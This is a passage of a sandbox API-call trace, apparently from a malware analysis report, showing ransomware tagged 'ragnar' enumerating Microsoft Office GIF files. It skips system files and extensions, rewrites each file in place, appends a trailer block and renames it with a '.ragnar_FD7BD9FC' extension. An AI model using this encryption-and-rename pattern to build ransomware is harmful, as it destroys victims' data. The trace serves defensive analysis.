out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.814] VirtualAlloc (lpAddress=0x0, dwSize=0x24f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.814] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.814] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.814] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x24f, lpOverlapped=0x0) returned 1 [0099.815] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.815] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24f, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.815] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x24f, lpOverlapped=0x0) returned 1 [0099.815] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.815] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.815] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.815] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.815] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.815] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.815] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.815] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.815] GetProcessHeap () returned 0x580000 [0099.815] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.816] CloseHandle (hObject=0x10c) returned 1 [0099.816] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" [0099.816] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.ragnar_FD7BD9FC" [0099.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.819] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc27700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bc27700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21306_.GIF", cAlternateFileName="")) returned 1 [0099.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.819] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21306_.GIF" | out: lpString1="BD21306_.GIF") returned="BD21306_.GIF" [0099.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF") returned=".GIF" [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="autorun.inf") returned 1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="boot.ini") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="bootfont.bin") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="bootsect.bak") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="bootmgr") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="bootmgr.efi") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="desktop.ini") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="iconcache.db") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="ntldr") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="ntuser.dat") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="ntuser.ini") returned -1 [0099.819] lstrcmpiW (lpString1="BD21306_.GIF", lpString2="thumbs.db") returned -1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.819] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.820] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif")) returned 0x20 [0099.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.821] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=591) returned 1 [0099.821] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x246, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.821] GetProcessHeap () returned 0x580000 [0099.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.821] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.822] VirtualAlloc (lpAddress=0x0, dwSize=0x24f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.822] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x24f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x24f, lpOverlapped=0x0) returned 1 [0099.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.822] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24f, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.822] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x24f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x24f, lpOverlapped=0x0) returned 1 [0099.822] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.822] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.823] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x24f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.823] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.823] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.823] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.823] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.823] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.823] GetProcessHeap () returned 0x580000 [0099.823] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.823] CloseHandle (hObject=0x10c) returned 1 [0099.823] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" [0099.823] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.ragnar_FD7BD9FC" [0099.823] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21306_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21306_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.824] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4107e200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4107e200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21308_.GIF", cAlternateFileName="")) returned 1 [0099.824] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.824] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21308_.GIF" | out: lpString1="BD21308_.GIF") returned="BD21308_.GIF" [0099.824] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF") returned=".GIF" [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="autorun.inf") returned 1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="boot.ini") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="bootfont.bin") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="bootsect.bak") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="bootmgr") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="bootmgr.efi") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="desktop.ini") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="iconcache.db") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="ntldr") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="ntuser.dat") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="ntuser.ini") returned -1 [0099.824] lstrcmpiW (lpString1="BD21308_.GIF", lpString2="thumbs.db") returned -1 [0099.824] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.824] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.824] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.824] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.825] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.825] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.825] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif")) returned 0x20 [0099.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.825] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=983) returned 1 [0099.825] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.825] GetProcessHeap () returned 0x580000 [0099.825] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.825] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.859] VirtualAlloc (lpAddress=0x0, dwSize=0x3d7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.859] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.859] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.860] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3d7, lpOverlapped=0x0) returned 1 [0099.860] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.860] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.860] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3d7, lpOverlapped=0x0) returned 1 [0099.860] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.860] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.860] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.860] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.860] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.860] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.860] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.860] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.860] GetProcessHeap () returned 0x580000 [0099.860] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.861] CloseHandle (hObject=0x10c) returned 1 [0099.861] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" [0099.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.ragnar_FD7BD9FC" [0099.861] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21308_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21308_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.862] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea58800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ea58800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21310_.GIF", cAlternateFileName="")) returned 1 [0099.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.862] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21310_.GIF" | out: lpString1="BD21310_.GIF") returned="BD21310_.GIF" [0099.862] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF") returned=".GIF" [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="autorun.inf") returned 1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="boot.ini") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="bootfont.bin") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="bootsect.bak") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="bootmgr") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="bootmgr.efi") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="desktop.ini") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="iconcache.db") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="ntldr") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="ntuser.dat") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.862] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="ntuser.ini") returned -1 [0099.863] lstrcmpiW (lpString1="BD21310_.GIF", lpString2="thumbs.db") returned -1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.863] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif")) returned 0x20 [0099.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.864] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=980) returned 1 [0099.864] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.864] GetProcessHeap () returned 0x580000 [0099.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.864] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.866] VirtualAlloc (lpAddress=0x0, dwSize=0x3d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.866] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.866] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, 